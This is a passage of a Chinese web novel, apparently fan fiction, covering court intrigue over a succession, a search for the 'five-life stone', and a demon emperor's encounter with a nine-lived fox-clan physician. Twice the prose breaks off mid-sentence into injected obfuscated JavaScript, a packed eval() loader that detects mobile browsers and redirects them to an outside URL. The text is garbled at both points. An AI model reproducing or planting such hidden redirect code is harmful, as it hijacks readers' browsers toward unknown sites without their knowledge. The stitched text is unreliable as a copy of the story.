“是,四哥惜才爱才,想必应该不会这么急着杀他们。所以,四哥继位后一定会做三件事。” “哪三件事?”麒染问。 凤璇音刚想开口,忽然又像是想起了什么似的,转而道,“哎呀,六哥,先不说这些了,你伤得很严重,我先让侍女带你下去休息,找些伤药给你敷上……” 话没说完,麒染就打断了她的话,“你先说!我要听!” 凤璇音被他打断,惊了一下,而后叹了口气,“唉,好吧。” 她将眼神挪到石桌上,斟酌了一下语言,而后缓声道: “第一件事,四哥一定会全国搜捕你,当然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701545|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以四哥的行事作风,他不会杀你,但……他也不会阻止追捕你的人杀你。” “哼,”麒染不屑地道,“装模作样,令人作呕!” 凤璇音继续道,“第二件事,你的六皇子府兵马众多,更有两员大将雷月青夔和丹阑毕方,想必四哥一定会想尽办法招揽他们,但两位大将投不投靠他并不一定。届时,罗织几个罪名对四哥来说,应该也不难。” 麒染闻言大怒,“他敢!” 凤璇音劝道,“敢不敢,这也不是六哥说了算的。” 麒染怒气冲冲地道,“我现在就去联系雷月青夔……” 凤璇音道,“这就是我要说的第三件事了。” “是什么?”麒染语气中的怒气还未消。 凤璇音继续解说道,“第三件事,就是四哥一定会想尽办法切断你与六皇子府的联系,让你成为一个真正被孤立出去的光杆司令,让你没有一丁点的筹码可以对付他。” “可恶……”麒染握紧拳头,手背上青筋暴露,“那我现在应该怎么……”话没说完,忽然又重重地咳了两声。 凤璇音见状,忙道,“哎呀六哥……我就说你该休息,先不要想这么多了。无论如何,你现在都要先保证自己活下去啊。” 说罢,她叫来几个侍女,让她们扶着麒染下去休息,“寒魄宫里有些简单的伤药,我让侍女给你拿来。之后的事情,你休息过后再说。” 麒染点点头,又咳嗽了两声,“也好,也好。” 说罢,凤璇音扶着他起身,吩咐侍女将麒染带去客房了。 麒染离开后,凤璇音独自在梧桐树下站了一会儿,然后起步,朝凤凰塔楼的方向走去了。 凤璇音一路走下塔楼,来到密室前,轻轻敲了敲门,里面便传来公子开明的声音: “进来就好~” 凤璇音推门进去了。 只见公子开明坐在床榻边上,正盯着前面桌子上的茶杯愣神,凤璇音进来了,也不挪开眼神,仍是直勾勾地盯着那茶杯: “都告诉他了嘛~” “说了。”凤璇音坐到桌旁,拿起茶壶给自己倒了一杯茶: “策君只告诉我结果,如何劝说还需我自己想。我想话术想得焦头烂额,策君在这里倒是清闲。” 公子开明摇头晃脑地道,“因为是你的六哥嘛,如何与他沟通,还是你更熟悉一些。” “我头脑愚钝,可不似策君那般聪明。”凤璇音指了指自己的额头道,“好在六哥不是多想之人,若是换成四哥,这么点时间,恐怕我连一句话都想不出来。” “郡主过谦了,你若真的愚钝,也不会与他们两人周旋这么多年咯~”公子开明扬着声音道。 “话说,你是怎么知道麒染今天会来羽瑞寒魄宫的啊?” “四哥去句余山谷救你的时候,六哥来找过我,”凤璇音解释,“我告诉他要尽快回凶犁魔都,如果返都失败,就回来羽瑞寒魄宫找我。” “哦哦哦,我想,那时你已确定,下次他再来时,我就已经在你这里了吧?”公子开明指出。 “没错,”凤璇音点点头,话里有话地道,“我以为到那时,我就不用再动脑子了。” “唉,郡主真是打得一手好算盘!”公子开明无奈地摇摇头,夸张地道,“但是可是然而,马上你就要见不到我了。” 凤璇音知道他话中的意思,轻声叹道,“我不仅见不到你,甚至会无法与你取得联系。” “嗯嗯嗯,没错,就是这样。”公子开明点点头,“过几天,那个夭寿老四一定会派人把我接去凶犁魔都。到时候他将魔都一封锁,所有的人只能进不能出,再加大力度搜捕麒染,我们三个能联系到的几率几乎——为零!” “策君有对策吗?”凤璇音问。 “嗯,对策嘛,你让我想想,让我想想……”公子开明托着腮嘟囔了两句,而后得出结论: “想不到。” “……”凤璇音一时之间竟不知如何回应。 “不过,也不一定非要有联系,”公子开明又转而道,“你看,现在我和我们家那个死小孩帝尊不也断联系了吗?” “那……你在凶犁魔都的这段时间,我该怎么做?”凤璇音询问。 公子开明伸出手,指了指天花板的方向,亦或是天的方向:“保证麒染的安全,三个月后的月圆之夜,”他的语气忽地沉了下来: “魔都城门见。” —未完待续— 14.成局(4) 【14】 魔门世家。 忆无心和阿若中午时来到这里寻找书籍,只要看到书籍内容中有“五生石”三个字,就把那本书挑出来放到桌子中央。 结果两个人这样找了一下午,才总共找出三本来。 到傍晚时,忆无心提议,“先别找了,我们先看看这三本书中具体写了什么吧。刚刚只是瞄了一眼其中的内容,还没仔细看。” “也好。”阿若点点头,“我都找累了。” 两个人就坐到桌前,拿起桌上的一本书一起看去。 那本书里画着一副简陋的地图,说是简陋,是因为那张地图上只标注出了沉沦海的位置,其他的地方都没有标注,但是在沉沦海右边,有一道黑色的沟壑显得特别的突兀。 “咦?”阿若注意到了那道沟壑,有些好奇地问,“这是什么地方啊?” 忆无心仔细看了看,轻轻摇了摇头,“我也不知道,我看一看下面是怎么解释的。”她一边说着,一边翻了一页,去看后面的解说: “啊,这上面说,魔世刚刚诞生之时,赤帝一脉和玄帝一脉曾于沉沦海东部决战,当时率领赤帝一脉的是赤帝长子,但却输给了玄帝。赤帝之子一怒之下,用巨斧在大地上劈开一道巨大的裂痕,这便是冰夷之渊的由来。” 阿若有些疑惑地比划了一下,“这么大一条裂缝,那得多大的斧子呀……?” 忆无心又道,“啊,这里有提到五生石。” “嗯?书上是怎么说的呀?”阿若忙把脑袋凑了过来。 忆无心看着书页,将内容读了出来,“书上说,五生石的作用,就是填补这道裂缝……” 忆无心说到这儿就停下了,阿若有些疑惑地眨眨眼,“没有了?” “没了。”忆无心把书放下了。 “难道应龙师索要五生石是为了修补冰夷之渊?”阿若抓了抓头发,“我怎么觉得不太像啊?” 忆无心又拿起一本书,“我们再看看另外一本书上是怎么写的吧。” “好。”阿若点点头。 忆无心翻开另外一本书,看了两行,道,“和刚才那本写得差不多,不过这里面有提到一个魔族,叫做玄女,她和玄帝同是出自魔世北方的幽都古国,同属幽都玄族。” “玄女?玄帝?”阿若好奇地问,“他们是兄妹吗?” “应该是姐弟吧。”忆无心没有把眼神从书籍上挪开。 “为什么会提到玄女?”阿若询问。 “书上说,五生石是玄女炼化出来,用来修补冰夷之渊的。”忆无心解释道。 “有说五生石除了修补冰夷之渊外,还有什么别的作用吗?”阿若询问。 忆无心摇了摇头,“没有。” 阿若当机立断,拿起最后一本书,“那我们看看这本书中写了什么吧。”说罢,低头将那本书翻开。 扫了两眼,她道,“啊!这本书里有写!” “嗯?是怎么说的?”忆无心忙问。 “据说这个五生石,因为是用来修补冰夷之渊的魔石,所以拥有非常强大的再生能力和修补能力,五生石融入魔族体内,可保魔族不老不死,与天同寿。”阿若一边说着,一边抬起头: “但是,千百年来,魔世众生都没有找到过炼化五生石的方法。据说元邪皇时期有魔找到,但还不等世人了解,那魔和方法就在战乱中流失了。” 说到这儿,两个姑娘对视了一眼,似乎明白了什么。 “原来应龙师要这五生石,是想要长生不死啊!”阿若得出了结论。 忆无心道,“即使是按照魔族的年龄计算,应龙师也已年过古稀,他权利地位皆有,寻求长生不死之法,倒也合情合理。只是……”忆无心犹豫了一下,而后道,“他抢走的那块石头,应该不是真正的五生石吧?” “怎么可能是真的呀。”阿若头摇得像拨浪鼓,“那就是我在后山随便捡的一块石头。是应龙师病急乱投医,只看那石头的外表像,认错了吧!” 忆无心点了点头,“嗯……那就好。刚才来的路上,我让苗兵告诉军长,搜捕的同时,在苗疆后山安插军队,守株待兔,如果那块石头并不是真正的五生石,想来在后山应该是能等到应龙师的。” 阿若先是反应了一下,而后道,“是哎!无心,你真聪明!” 忆无心却叹了口气道,“应龙师是我救的,他若为祸苗疆,我也有一部分责任。只是这段时间又要给王上添麻烦了,本来此次祭鼓节,各部落之间的争执就已经让他……” 忆无心说到这儿,忽然想起阿若的父亲也参与了此次争执,忙刹住了车,“唉……不说了。” 阿若却像是没注意到后半段话,开口安慰道,“这怎么能是你的责任呢,你又不认识应龙师。” 顿了顿,又道,“你放心吧无心,军师和军长都厉害着呢,而且应龙师又受了那么严重的伤,肯定很快就能捉拿归案的。” “嗯。”忆无心笑着点了点头,“但愿吧。” —— 曼邪音站在城墙上察看时,忽然听到身后传来脚步声。她回过身头看去,发现来者竟然是独身一人的网中人。 “妖神将?” 曼邪音朝网中人左右看了看,发现没有别的身影,略感意外地问,“帝尊没和你在一起?” 网中人走到她身前,“吾正要问你,”他的语气听起来不是很和善,“有看到他去哪里了吗?” 曼邪音摇了摇头,“帝尊不见了?” “吾今天一直都没有见到他的身影。”网中人道。 “我也没有,他没和任何人说吗?”曼邪音问,“有问过赤甯朱厌和绝犀吗?” “都没看到。”网中人回道,说完后稍作停顿,又道,“他说,最近有人在暗处跟着他,所以吾让他这几日不要离开吾的身边。” 说完,思索了一下,忽然像是想到了什么一般,“小子又要以身犯险。” 曼邪音听他这样说,顿时明白了他的意思,叹息道,“帝尊都没有告诉你他要去哪里,看来他觉得自己能解决。” 网中人冷冷地“哼”了一声,“那就让他自己解决吧。” 说完,单手背后,大步离开了。 …… 此时此刻,戮世摩罗正一个人站在边关集市的街头。 周围魔来魔往,正是集市一日里最热闹的时候,这样的地方,反而会让暗处的人稍作松懈。 戮世摩罗背着手在集市上走了几圈,料想这样一直无所事事地走下去,暗处的人必会起疑,于是随意走到了一家酒茶馆前的棚子里,要店家随便送些茶点过来。 等待茶点的时候,忽然听到角落一桌里,有几个背对着自己的魔兵,似乎在讨论之中提到了自己的名字。 戮世摩罗起了好奇心,便仔细听去,只听得其中一个魔兵用一种凑热闹不嫌事大的语气问道:“喂,你刚才说,帝尊的名号叫什么?” “戮世摩罗啊,”另一个魔兵回道,“就是前前前帝尊捡到的那个人族娃娃,这个名字还是前前前任帝尊给他起的咧。” “哼,一个柔弱的人族,不知道是怎样得到的鬼玺,胆敢跑来修罗国度统领众魔。妖神将和闼婆尊也不知为何就那么听他的话,区区人类,咱们一个普通魔兵就能吃得他骨头都不剩。” “喂,你说,他和咱们祸英将军打起来的话,谁会赢?谁会输?”其中一个魔兵问道。 “那还用说?他能接下祸英将军三招吗?” “哈哈哈……” 戮世摩罗心想这几个魔兵背对着他,大概是没看到他们口中的戮世摩罗就坐在这儿。不过他也没打算过去制止这几个不知死活的魔兵胡言乱语,毕竟他今天出来的目的另有其他。 那几个魔兵又说了几句轻视戮世摩罗的话,身后忽然传来一个清亮的声音: “咳……你们几个在这里偷偷说帝尊的坏话,也不怕哪个嘴巴不严的走漏了风声,把状告到帝尊那里去,别忘了,帝尊这阵子可一直镇守在边关哦。” “嗯?”戮世摩罗听到了不一样的声音,有些好奇地侧了侧脸,用余光朝那边看去。 只见说话那人从他后方步入棚子,一身乌黑长袍,紫色的长发,头戴黑色的抹额,中间嵌着一只银色狐面,在茶馆的灯笼下闪着粼粼波光。 狐,戮世摩罗注意到,这魔的黑袍子上,似乎也有狐的纹样,加之那一头未束起的紫色长发,莫名地让戮世摩罗想起了身在东瀛的自己。 啊,那可真是一段神奇的回忆。 那紫头发的魔慢悠悠地在那几个魔兵对面坐下,伸出手去,一魔弹了一个脑门。 “哎哟……”那几个魔兵忙捂住自己的额头。 “苏大夫,你怎么没待在赤水关啊?”其中一个魔兵询问道。 “祸英将军的伤已经好得差不多了,前几天又被调去了浮玉关,我就从赤水关离开了。”被称作苏大夫的魔回答道,稍顿片刻,又道,“你这魔兵,少转移话题了,刚刚是不是在说帝尊坏话?” 其中一个魔兵狡辩道,“可我们说得也没错啊。修罗国度,一向以强为尊,一个柔弱的人族,不用说妖神将、三尊,还有祸英将军了,我看就是苏大夫你都能打他两下。” “……你这话说的,”苏大夫一听这话有些不乐意了,“说得好像我很弱一样。” “这……”那几个魔兵面面相觑,“苏大夫,你不弱吗?” “……” 苏大夫一时语塞,赶忙转移了话题,“你们不要看不起人族。史艳文俏如来见过吧?俏如来还和祸英将军交过手呢,不还是把祸英将军打趴下了。还有元邪皇之祸后跟随胜弦主回来的那名墨雪不沾衣,不也很强吗?” “俏如来那个剑阵本就古怪,连闇盟那个鬼飘伶都能被他击败呢。”其中一个魔兵说道,“咱们帝尊,也会那个剑阵吗?” “没听说过。”其中一个魔兵回道。 “帝尊去哪里妖神将都跟着,说不定都不会武功呢。”又有一个魔将添油加醋道。 另一个魔兵略有不满地开口道,“苏大夫你真奇怪,明明自己也是魔,却向着人族说话。” “我那哪是向着人族说话,我是向着修罗国度说话。”苏大夫解释道,“妖神将和三尊都服他,你们却不服,那你们去做妖神将和三尊好了。” “哼。”其中一个魔兵道,“三尊现在只剩闼婆尊,其他双尊的位置也不能一直空着啊。” “怎么,你想做三尊哦?”另外一个魔兵问。 “我是做不上三尊啦,不过我觉得祸英将军可以啊。”那个魔兵说道,“朱厌将军武功高强,但太过鲁莽,祸英将军就不一样了,他武功虽不如朱厌将军,但他聪明啊。” “再聪明也聪明不过策君。”另一个魔兵评价道。 “那是自然,整个魔世也难找比策君还要聪明的,所以我说他可以坐双尊的位置嘛。” “哼,策君聪明是聪明,就是不知道心还在不在修罗国度。我们祸英将军对修罗国度可是忠心耿耿,绝无二心。” “对啊,就是说啊……” “唉!”对面的苏大夫听闻几个魔兵的讨论,叹息着摇摇头,“听你们几个小魔兵谈话,感觉修罗国度未来的局势已在你们的掌握之中,我的头脑已经不够用了,还是远离这个是非之地吧。” 苏大夫说完,就起了身,转身朝棚子外走去了。 戮世摩罗用余光扫着那黑色的身影消失在人群之中,忽然感觉那暗处的视线似乎离自己近了一些。 看起来,那只鬼鬼祟祟的魔快要露出破绽了。 戮世摩罗不等茶点送上,也起身,走出了茶棚。 他一路往边关集市后面的土丘上走去,听闻那土丘是个乱葬岗,一般很少有人会去那里。他越往上走,身边的人烟就越来越少,待他走到土丘半坡时,身旁已经一个能喘气的活物都没有了,只有冷冷的蓝月映照着这荒无人烟之地。 乱葬岗上,土丘连绵,寒气逼人,风卷起落叶与尘土,窸窸窣窣的声音似是死者在低语,令人不寒而栗。 戮世摩罗迎着阴风,又往前走了几步,忽然意识到了一件事。 暗处,不是一只魔。 是两只。 这倒有些出乎他意料了,没想到这魔居然还有个帮手,方才竟没察觉到是什么时候跟来的。 戮世摩罗又大步向前,走到接近丘顶时,他慢慢地回过身来。 “出来吧,”他说,“别躲了。” 一阵凛冽的风刮过,如同死神的呼吸,穿梭在荒草丛生的土堆之间。 过了一会儿,高及腰间的杂草丛中,冒出了一个魔兵。 “哦,原来就是一个普普通通的魔兵啊。”戮世摩罗扬着声音道,“就你一个?你的同伴呢?” “哼!我自己足矣!” 那魔兵说完,不给戮世摩罗回应的时间,起手一掌便朝他打了过来! “哦?你的同伴躲在暗处不肯出来,看来是要偷袭啊?” 戮世摩罗起手接掌,掌心相对的一瞬间,四周尘土飞扬,一圈气浪猛地炸开,将周围的杂草震倒一片。 “嗯?实力不差,”戮世摩罗挑了挑眉,“是本帝尊小瞧你了。” “哼!你知道就好!” 那魔兵说完,收回右掌,又出左掌朝戮世摩罗打去! “嗯,不过,要杀我的话,还差那么点意思。” 戮世摩罗一边说着,一边从容不迫地躲开魔兵的掌法,他旋身闪避,不急不躁。而对面的魔兵似乎也毫不慌张,一拳一掌都十分谨慎且镇定,偶有几掌得手,也不狂妄自大乘胜追击,稳中求进,竟真的把戮世摩罗击退了数步。 “嗯,是只有脑子的魔兵。”戮世摩罗评价道: “只是,你的同伴还不出手吗?” “不知道你在说什么!”那魔兵一边说着,一边又是一掌朝他打来! 而戮世摩罗面对这气势汹汹的一掌,忽然停止了攻击,不闪不避地站在了原地,甚至将双手都背到了身后。 “既然要偷袭,那本帝尊就给他这个偷袭的机会。” “你!” 魔兵没想到他会突然收手,但他的反应也很迅速,猛地加大掌力,直直地朝戮世摩罗的额头打了过来! “砰!” 就在那一掌即将要拍在戮世摩罗头上时,一道身影忽然从旁边闪了过来,挡在了戮世摩罗身前,一出手硬生生地接下了这一掌! 那人闪出来的时候身形还有些不稳,又吃了这一掌,连连后退了数步,要不是戮世摩罗躲得快,这人就直接摔他身上了。 “嗯?” 戮世摩罗皱了皱眉,朝那人看过去,结果发现那人竟然是—— 刚刚离开棚子的那个苏大夫? 意外的身影出现,让戮世摩罗大脑宕机了一下,随即反应过来,难道说一直跟在他身后的第二只魔……是他? 正思考间,那苏大夫突然回头看向他,只见此魔嘴角已见红,却不知死活地对戮世摩罗大喊,“帝尊你受伤了,快跑!我帮你对付他!” 戮世摩罗莫名其妙,“等等,这位兄台,你是从哪里得知我受伤的……” 还没说完,那魔兵就再一次起掌朝苏大夫打来! 戮世摩罗见状,不紧不慢地后退了一步,既然有人来救,他便退居后方,正好顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707385|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便也看看这个苏大夫的实力。 而后,他就看见那魔兵一掌就把苏大夫打出去了。 只见那苏大夫倒在一堆杂草丛中,吐了一大口血,而后又冲戮世摩罗大喊,“帝尊你快跑……” 但那话还没说完,那魔兵就又冲上来,一掌接着一掌朝那苏大夫打过去,掌路快如闪电,而那苏大夫竟然毫无反手之力,被打得连连后退,不停地吐血,最后一掌,直接被拍出去了好三丈之远! 只见空中撒下一抹血红之后,苏大夫重重地跌到了草丛里面,犹如被随意扔出的一块废铁。 “……” 全程目睹了这单方面碾压一幕的戮世摩罗,长抒一口气,沉声问道,“苏大夫,你是真的就这么菜,还是在隐藏实力……” 戮世摩罗本没指望这魔还有力气回答他,结果那苏大夫竟然一边咳着血一边支起身子,沙哑着嗓子道: “我……我还能抵挡他一阵,帝尊你……你快离开……!” 戮世摩罗:“……行了你闭嘴吧。” 说罢,刀光乍现,逆神出鞘,直接朝那魔兵砍了过去! 他这次认真出招了,那魔兵开始还能抵挡,但十招过后就开始乱了阵脚,最后在第十五招时被逆神的刀柄砸中了脑袋,眼睛一翻, “扑通”一声倒在了杂草丛里,不省人事了。 “哎哟,让我出了十五招的小兵,不简单不简单。” 戮世摩罗见那魔兵倒下,迅速收刀,接着大步走到那魔兵身前,俯下身,仔细查看那魔兵的状况。 确定那魔兵昏过去了之后,他又起身去看另外一只魔。 那草丛有三尺那么高,苏大夫坐在里面,戮世摩罗险些没找到他。 “喂。”戮世摩罗问他,“你还活着吧?” …… 过了好一会儿,苏大夫虚弱的声音才传过来,“对不住……没帮上帝尊的忙……” “啊?”戮世摩罗表现出很惊讶的样子,“你竟然是来帮忙的?” 他话音刚落,就听见苏大夫的方向传来“噗通”一声,似乎是人倒下去的声音。 戮世摩罗听见声音,心中一沉,急忙大步走过去,察看苏大夫的情况。 只见苏大夫满脸是血,已经闭上眼睛倒在草地中,不省人事了。 “啊,我的天呐,被这么一个小兵打成这样,究竟是来救我,还是等着被我救?”戮世摩罗无奈地摇了摇头,蹲下身子想把这只魔搬起来。 结果手刚一触到苏大夫的领子,忽然察觉到了不对劲。 “嗯?不对……” 戮世摩罗的手迟疑了一下,忽地放到了苏大夫的鼻子下面,试了试鼻息。 随即,他的眼里闪过一丝震惊。 “死了?” 戮世摩罗有些不确定,又将手放到苏大夫的脖颈处和心脏处,发现此魔确实是死了,没有一点心跳和脉搏,死得透透的了。 就……这么被一个小魔兵打死了?这魔也太菜了吧! 戮世摩罗扶额摇头,无奈道,“苏大夫,别怪本帝尊不够意思,本来念你替我接了几掌,想把你带去招摇关养养伤,现在看来也不用了……只是让你这样曝尸荒野似乎也不好,我想想……” 戮世摩罗四下看了看,最后想到了办法,“啊,这里不就是乱葬岗吗?本帝尊心善,给你挖个坑埋了吧。棺材是没有了,毕竟本帝尊亲自去买棺材,对国运不太好。” 他一边说着,一边走到那昏倒的魔兵身边,掏出一根绳子将他手脚都绑上,而后又走回苏大夫身边,凝气于掌,“喝!”地一声,朝地面打了过去! 掌风如刀,直奔地面,掌力触及地面的一瞬间,石破天惊,随即,一个黒幽幽的坑洞出现在了尘飞扬的尘土之中。 尘土渐渐落定之后,戮世摩罗走到苏大夫旁边,蹲下身,将苏大夫“咚”地推进了那个深坑里。 那一刻,戮世摩罗感觉自己简直是世界上最善良的人了。 戮世摩罗站在坑边,看着坑里的尸体,又觉得这样开着坑似乎也不太好,要不自己好人做到底,铲点土把他埋了? 正这么想着,后方忽然传来了气急败坏的声音,“你……你这个无耻的人族,把我松开,快把我松开……” 听到声音,戮世摩罗并没有回头,“啊……醒了啊,”他捋了一下自己额前的长发,“醒得这么快,看来你功夫真的不差……” “哼!对付你这种弱小的人族,还需要什么很强的高手来吗?我一个魔兵足矣……我……啊!” 那魔兵话还没说完,忽然像是被谁打了一下,惨叫一声后,就又没有声音了。 “咦?” 察觉到异样,戮世摩罗有些疑惑地回过头。 而后就对上了一双几乎可以说是要杀人的眼神。 “啊……是妖神将。” 戮世摩罗的声音忽地低了下来。 “……你怎么找到这里来了。” 网中人四下看了看,“哼,乱葬岗。”他语气中透露出些许愠怒,“来给自己挑选归宿?” “你现在嘴巴实在是很毒,真不知道是和我学坏了还是和策君学坏了。”戮世摩罗摇了摇头,一本正经地评价道,“妖神将,什么都学只会害了你。” “还给自己挖了个坑?”网中人注意到了戮世摩罗脚边的大坑。 “啊,这是本帝尊善心大发,给一个甘愿为国捐躯的好魔修的坟墓。”戮世摩罗解释道。 网中人没接他的话,径直走到坑边,向下看了过去。 当他看到坑中的苏大夫时,脸上忽地闪过一丝迟疑。 他略带疑惑地“嗯?”了一声。 “怎么了?”戮世摩罗见他神色不对,便询问,“你认识他?” “似乎有些面熟。”网中人回道。 戮世摩罗心想网中人连策君的名字都能忘,不提示一下他,估计是想不起来此魔身份的,于是提醒他道,“他姓苏,我听路上的魔兵叫他苏大夫。” “苏……”网中人重复了一下这个字,思忖片刻,忽然像是想起来了什么似的,指了指坑里的魔道,“此魔埋不得,将他的尸体带回招摇关吧。” “啊?”戮世摩罗有些莫名其妙,“怎么了?难道他的尸体会还魂,为祸魔世哦?” 网中人摇了摇头,开口刚想解释,坑底却忽然发出了一道白色的光芒,一瞬间将周围照得如同人世的白昼一般! “咦?”戮世摩罗拿手挡了一下眼睛,“这是什么东西这么亮?” 话说完,那白光又渐渐退了下去,而后像是海水退潮一般,逐渐消失在坑底了。 周围又恢复了一片夜色。 戮世摩罗有些疑惑地转头看向网中人,想等着对方给他解释。结果就见网中人纵身跳到了坑底,伸手抓起尸体的领子,而后又飞回了坑外,一步走到戮世摩罗身边,将那尸体“咚”地一声扔到了地上。 “哇,他和你有仇啊,这么对他的尸体。”戮世摩罗夸张地评价道。 网中人说,“他已经不是尸体了。” “什么?”戮世摩罗怔了一下,随即上前,低下身子试了试苏大夫的鼻息。 随即,一丝讶异爬上了戮世摩罗的脸庞: “他怎么活了?”戮世摩罗站起身,转头看向网中人,“可他方才明明既没心跳也没脉搏了……难道他刚才是假死?” 顿了一下,忽然福至心灵,讶异道,“难道他和你一样,也炼了什么可以起死回生的邪功?那他是蝉?还是毛毛虫?” 网中人没理他的玩笑,语气平静地回答道:“他是帝鬼的医官,来自青丘狐族。青丘狐族的魔,都有九条命。” —未完待续— 15.成局(5) 【15】 苏大夫睁眼的时候,看到曼邪音正在关门,一回头就和苏大夫有些迷茫的眼神撞上了。 “终于醒了?”曼邪音对他的清醒没有太多的惊讶。 “咦?闼婆尊?”苏大夫抓了抓头发,把那一头本就不太利索的紫色长发抓得更像一团鸡窝,“我现在是在……招摇关?” 曼邪音“嗯”了一声,向他解释道:“听帝尊说,你昨夜帮他挡了刺客的攻击,之后妖神将命魔兵将你的尸体……不是,是将你带回来了。” 稍顿了一下,又道,“方才帝尊让我过来看你一眼,要是死了再重新埋回去。” 苏大夫很是讶异,“帝尊这么好,还亲自为我收尸?” “……”曼邪音一时无语,不知该怎么接他这句,便转移话题问道,“你这次死得也太过轻易,我没记错的话,你应该只剩三条命了吧?” “两条了。”苏大夫纠正他。 “还不到一条?”曼邪音反问,“你的命也挺大。” 苏大夫似是没听出她话中嘲讽,一本正经地解释道,“昨夜我在集市看到帝尊向乱葬岗走去,随即发现他身后跟着刺客,便也跟去了。之后我见那人和帝尊打了起来,帝尊武功不高,大概是受了伤,对方出掌时,帝尊竟然不躲也不还击。我心里一急,就冲出去帮帝尊挡了一掌。” “你还是一如既往自不量力。”曼邪音毫不客气地评价道,“帝尊若是需要你挡招,就不会独自一人引刺客去乱葬岗。你以为帝尊和你一样,既不能打,又没有脑子?” “唉!闼婆尊也还是一如既往地把我骂个狗血喷头。”苏大夫略有些委屈地摇摇头,一副受训小孩的模样。 “哼,”曼邪音一甩袖子,没好气地说道,“我没记错的话,你没了的那六条命,三次是帮时任帝尊挡招,一次是在战场上救一个魔兵的孩子,还有两次,是在弃城中给武将断后,没有一次是死于你的本职工作,全都是越俎代庖,自不量力。” 苏大夫狡辩,“我的本职工作没什么机会可死。” 曼邪音简直要被他气笑了,“你就非死不可?” “那不然为什么我会有九条命?不就是为了让我在需要死人的时候去死吗?”苏大夫继续狡辩。 “我现在倒是想杀人,”曼邪音起手就要出掌,“既然你这么愿意死的话,闼婆尊不介意现在把你打死。” 见状,苏大夫立刻惊恐地瞪大了眼睛,举手抱住自己的脑袋,“闼婆尊别冲动!我的确不怕死,但我怕痛啊!” 闼婆尊收回了马上要出掌的手,“哼”了一声,面色不善地提醒道,“醒了就赶快收拾收拾你头上那顶鸡窝,稍后去议事厅见帝尊。” “收到收到。”苏大夫连连点头。 曼邪音挥袖起身,走到门口离开了。 …… 戮世摩罗正坐在桌前翻着卷宗,门外魔兵忽然走进来向他通报,“帝尊,苏大夫求见。” 戮世摩罗翻书的手一顿,转头看了一眼旁边的网中人,而后对那魔兵道,“让他进来吧。” 魔兵应了一声,跑了出去。过了片刻,苏大夫就从外面走了进来。 苏大夫走到厅中央,向戮世摩罗行了个礼,“参见帝尊。” “免礼。”戮世摩罗回道,“睡醒了?” 苏大夫小心翼翼地回道,“感谢帝尊昨晚相救。” “你救了我才对。”戮世摩罗回道,“自我来魔世之后,都没见你在本帝尊面前露过面,还是妖神将告知我,你是帝鬼的医官,也是青丘族的少主……” 顿了一下,又道,“话说,青丘不是在凶岳疆朝么。” “失礼了失礼了。”苏大夫急忙弯下身子,连连道歉,“其实前前前帝尊在位时正职医官是家父,末医不过是随从父亲做个副医官。前前前帝尊出征中原时,家父去世了,末医才转为正医官。先前元邪皇之乱时,祸英将军留下伤症,末医就一直在赤水关照料他,这些日子他的情况有所好转,末医就从赤水关离开了。” 戮世摩罗皱着眉头想了想,忽然似是想起了什么,询问道,“本帝尊的巨骨症,可是你父亲医好的?” 苏大夫怔了一下,随即道,“魔世开启一道裂缝时,末医和家父都在沉沦海,当时前前前帝尊……” “你直接说帝鬼就好。”戮世摩罗提醒他。 “呃……这样直呼大名,是否不妥……” “没什么不妥,”戮世摩罗语气平静地道,“若有一天我死了,你们也可以直呼我的姓名。” “啊……那好吧。”苏大夫听他这样说,只好点点头,继续道: “当时帝鬼带着患有巨骨症的帝尊来到沉沦海,让家父看帝尊的病症是否可以医治。老实说,帝尊的巨骨症非常难治,连家父也几乎束手无策,但好在我们青丘狐族的血有治百病的功效,家父便吃了桃参血丹,用了自己三分之二的血入药,刀圭服饵,这才将帝尊的巨骨症医好。” “桃参血丹?”戮世摩罗重复了一下这个陌生的名字。 苏大夫解释道,“桃参血丹是我们青丘族的一味禁药,可以短时间内提升自身造血速度七到八倍,因为对身体伤害比较大,所以是禁药。但当时帝鬼意在抓住机会出征中原,正是急于用兵之时,帝尊武学天赋又极佳,所以家父才想到用此极端的方式医治帝尊。” 戮世摩罗想起自己当年在东瀛时用的也是九尾狐妖之力,不免感慨起命运与缘分真是奇妙的东西。 他看了看眼前的紫发医官,又问道,“你父亲就是因为此事伤到了身体吗?” “嗯。”苏大夫点点头,“家父已上年纪,桃参血丹虽然可以增加造血速度,但吃了桃参血丹的狐族无一例外全都会死亡。家父当时只剩两命,医治帝尊折了一命。帝鬼出征中原时,家父想要返回青丘颐养天年,结果因年老体衰,还未归乡,便驾鹤西归了。” 顿了一下,忽又想起戮世摩罗方才问的问题,便又答道,“哦,刚刚帝尊询问青丘的地理位置。是,青丘是在凶岳疆朝境内。修罗国度还是凶岳疆朝属国时,帝鬼曾对家父有恩。帝鬼征战,家父便把事务交接给了族中长老,带着当时还年幼的我投奔帝鬼了。” 戮世摩罗沉默片刻,开口道,“你父子两人于我皆有恩。” 苏大夫低头道,“末医不敢邀功,青丘一族世代行医,悬壶济世本就是家父和末医分内之事。” 戮世摩罗又问他,“你叫什么名字?” 苏大夫回道,“末医苏容焉。” 戮世摩罗想了想,道,“你这名字,正常得让本帝尊好像回到了中原。” 他盯着前方沉默了一会儿,又道,“青丘狐族的复生之力将你的伤也修复得差不多了,既然你是本帝尊的医官,也该回归本职了,接下来你就待在招摇关吧。” 